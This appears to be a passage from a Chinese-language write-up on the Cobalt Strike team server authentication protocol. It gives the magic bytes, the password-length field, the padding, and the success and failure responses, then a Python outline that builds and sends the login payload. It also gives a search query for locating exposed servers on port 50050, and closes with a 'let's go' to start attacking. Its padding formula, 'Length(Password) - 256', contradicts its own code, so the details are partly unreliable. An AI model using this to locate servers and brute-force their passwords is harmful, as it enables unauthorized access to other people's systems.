4 Byte Magic \x00\x00\xBE\xEF
1 Byte Password Length (unsigned int)
Password (unsigned int cast char array)
Padding \x65 "A" * ( Length( Password ) - 256 )
在导线上看起来像这样,但是填充被忽略,可以是任何东西。身份验证例程最多读取256个“长度”。#
\x00\x00\xBE\xEF\x08passwordAAAAAAAAAAAAAA...AAAA
<此密码不能为空>
\x00\x00\xCA\xFE
否则,团队服务器返回null#
\x00\x00\x00\x00
三、python3编写思路#
conn.open(host, port)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
"Cobalt strike" && port="50050"
五、开整
